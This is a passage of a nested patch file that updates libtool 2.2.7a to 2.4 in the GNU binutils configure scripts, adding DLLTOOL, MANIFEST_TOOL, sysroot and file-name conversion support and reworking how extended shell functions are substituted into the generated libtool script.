- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -17258,12 +17923,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -17318,8 +17983,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -17329,12 +17999,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -17350,7 +18022,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -17386,6 +18057,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -18174,7 +18846,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -18277,19 +18950,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -18319,6 +19015,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -18328,6 +19030,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -18442,12 +19147,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -18534,9 +19239,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -18552,6 +19254,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -18584,210 +19289,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
-diff --git a/bfd/configure.ac b/bfd/configure.ac
-index 8e86f8399ce..e8700c9d4d2 100644
---- a/bfd/configure.ac
-+++ b/bfd/configure.ac
-@@ -314,7 +314,7 @@ changequote(,)dnl
- x=`sed -n -e 's/^[ ]*PICFLAG[ ]*=[ ]*//p' < ../libiberty/Makefile | sed -n '$p'`
- changequote([,])dnl
- if test -n "$x"; then
-- SHARED_LIBADD="-L`pwd`/../libiberty/pic -liberty"
-+ SHARED_LIBADD="`pwd`/../libiberty/pic/libiberty.a"
- fi
-
- case "${host}" in
-diff --git a/binutils/configure b/binutils/configure
-index 89c99abfeba..d3289a5efcd 100755
---- a/binutils/configure
-+++ b/binutils/configure
-@@ -692,8 +692,11 @@ OTOOL
- LIPO
- NMEDIT
- DSYMUTIL
-+MANIFEST_TOOL
- RANLIB
-+ac_ct_AR
- AR
-+DLLTOOL
- OBJDUMP
- LN_S
- NM
-@@ -810,6 +813,7 @@ enable_static
- with_pic
- enable_fast_install
- with_gnu_ld
-+with_libtool_sysroot
- enable_libtool_lock
- enable_plugins
- enable_largefile
-@@ -1490,6 +1494,8 @@ Optional Packages:
- --with-pic try to use only PIC/non-PIC objects [default=use
- both]
- --with-gnu-ld assume the C compiler uses GNU ld [default=no]
-+ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
-+ (or the compiler's sysroot if not specified).
- --with-debuginfod Enable debuginfo lookups with debuginfod
- (auto/yes/no)
- --with-system-zlib use installed libz
-@@ -5467,8 +5473,8 @@ esac
-
-
-
--macro_version='2.2.7a'
--macro_revision='1.3134'
-+macro_version='2.4'
-+macro_revision='1.3293'
-
-
-
-@@ -5508,7 +5514,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
- $as_echo_n "checking how to print strings... " >&6; }
- # Test print first, because it will be a builtin if present.
--if test "X`print -r -- -n 2>/dev/null`" = X-n && \
-+if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
- test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
- ECHO='print -r --'
- elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6194,8 +6200,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
- # Try some XSI features
- xsi_shell=no
- ( _lt_dummy="a/b/c"
-- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
-- = c,a/b,, \
-+ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
-+ = c,a/b,b/c, \
- && eval 'test $(( 1 + 1 )) -eq 2 \
- && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
- && xsi_shell=yes
-@@ -6244,6 +6250,80 @@ esac
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
-+$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
-+if ${lt_cv_to_host_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
-+ ;;
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
-+ ;;
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+
-+fi
-+
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
-+$as_echo "$lt_cv_to_host_file_cmd" >&6; }
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
-+$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
-+if ${lt_cv_to_tool_file_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ #assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
-+
-+fi
-+
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
-+$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
-+
-+
-+
-+
-+
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
- $as_echo_n "checking for $LD option to reload object files... " >&6; }
- if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6260,6 +6340,11 @@ case $reload_flag in
- esac
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- case $host_os in
-+ cygwin* | mingw* | pw32* | cegcc*)
-+ if test "$GCC" != yes; then
-+ reload_cmds=false
-+ fi
-+ ;;
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6428,7 +6513,8 @@ mingw* | pw32*)
- lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
- lt_cv_file_magic_cmd='func_win32_libid'
- else
-- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
-+ # Keep this pattern in sync with the one in func_win32_libid.
-+ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
- lt_cv_file_magic_cmd='$OBJDUMP -f'
- fi
- ;;
-@@ -6582,6 +6668,21 @@ esac
- fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
- $as_echo "$lt_cv_deplibs_check_method" >&6; }
-+
-+file_magic_glob=
-+want_nocaseglob=no
-+if test "$build" = "$host"; then
-+ case $host_os in
-+ mingw* | pw32*)
-+ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
-+ want_nocaseglob=yes
-+ else
-+ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
-+ fi
-+ ;;
-+ esac
-+fi
-+
- file_magic_cmd=$lt_cv_file_magic_cmd
- deplibs_check_method=$lt_cv_deplibs_check_method
- test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6597,9 +6698,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_DLLTOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$DLLTOOL"; then
-+ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+DLLTOOL=$ac_cv_prog_DLLTOOL
-+if test -n "$DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
-+$as_echo "$DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_DLLTOOL"; then
-+ ac_ct_DLLTOOL=$DLLTOOL
-+ # Extract the first word of "dlltool", so it can be a program name with args.
-+set dummy dlltool; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
